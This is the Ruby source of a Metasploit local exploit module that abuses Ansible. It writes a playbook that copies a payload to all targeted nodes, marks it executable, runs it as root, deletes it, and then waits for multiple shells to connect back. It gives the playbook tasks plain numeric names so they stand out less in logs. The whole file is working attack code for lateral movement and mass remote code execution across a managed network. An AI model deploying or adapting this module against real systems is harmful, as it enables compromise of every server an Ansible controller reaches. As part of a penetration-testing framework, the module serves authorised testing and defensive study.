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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = GoodRanking
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  include Msf::Post::File
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  include Msf::Exploit::Local::Ansible
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Ansible Agent Payload Deployer',
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        'Description' => %q{
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          This exploit module creates an ansible module for deployment to nodes in the network.
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          It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
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          targets which have been selected (default all).
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'h00die', # msf module
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          'n0tty' # original PoC, analysis
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        ],
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        'Platform' => [ 'linux' ],
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        'Stance' => Msf::Exploit::Stance::Passive,
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        'Arch' => [ ARCH_X86, ARCH_X64 ],
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [[ 'Auto', {} ]],
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        'Privileged' => true,
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        'References' => [
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          [ 'URL', 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh'],
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          [ 'URL', 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1'],
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        ],
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        'DisclosureDate' => '2017-06-12', # pwnsible script but prob way before that
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        'DefaultTarget' => 0,
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        'Passive' => true, # this allows us to get multiple shells calling home
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options [
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      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
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      OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
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      OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
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      OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]),
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      OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for new sessions', 60 ])
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    ]
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  end
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  def module_contents(payload_name)
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    # The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.
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    "- name: #{Rex::Text.rand_text_numeric(3..6)}
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  hosts: #{datastore['HOSTS']}
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  remote_user: root
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  tasks:
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    - name: 1
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      ansible.builtin.copy:
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        src: #{datastore['WritableDir']}/#{payload_name}
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        dest: #{datastore['TargetWritableDir']}/#{payload_name}
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    - name: 2
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      ansible.builtin.file:
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        path: #{datastore['TargetWritableDir']}/#{payload_name}
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        owner: root
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        group: root
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        mode: '0700'
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    - name: 3
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      command: #{datastore['TargetWritableDir']}/#{payload_name}
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    - name: 4
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      file:
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        path: #{datastore['TargetWritableDir']}/#{payload_name}
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        state: absent
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"
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  end
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  def check
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    return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil?
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    CheckCode::Appears('ansible playbook executable found')
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  end
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  def ping_hosts_print
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    results = ping_hosts
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    if results.nil?
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      print_error('Unable to parse ping hosts results')
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      return
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    end
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    columns = ['Host', 'Status', 'Ping', 'Changed']
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    table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)
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    count = 0
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    results.each do |match|
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      table << [match['host'], match['status'], match['ping'], match['changed']]
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      count += 1 if match['ping'] == 'pong'
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    end
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    print_good(table.to_s) unless table.rows.empty?
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    # give the user a few seconds to cancel if its too many etc
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    print_good("#{count} ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")
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    Rex.sleep(10)
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  end
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  def exploit
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    # Make sure we can write our exploit and payload to the local system
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    fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
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    ping_hosts_print if datastore['CALCULATE']
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    payload_name = rand_text_alphanumeric(5..10)
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    module_name = rand_text_alphanumeric(5..10)
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    print_status('Creating yaml job to execute')
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    yaml_file = "#{datastore['WritableDir']}/#{module_name}.yaml"
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    write_file(yaml_file, module_contents(payload_name))
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    register_file_for_cleanup(yaml_file)
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    print_status('Writing payload')
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    upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe
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    register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets
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    print_status('Executing ansible job')
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    resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}")
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    playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log')
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    print_good("Stored run logs to: #{playbook_log}")
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    # stolen from exploit/multi/handler
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    stime = Time.now.to_f
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    timeout = datastore['ListenerTimeout'].to_i
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    loop do
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      break if timeout > 0 && (stime + timeout < Time.now.to_f)
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      Rex::ThreadSafe.sleep(1)
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    end
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  end
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end
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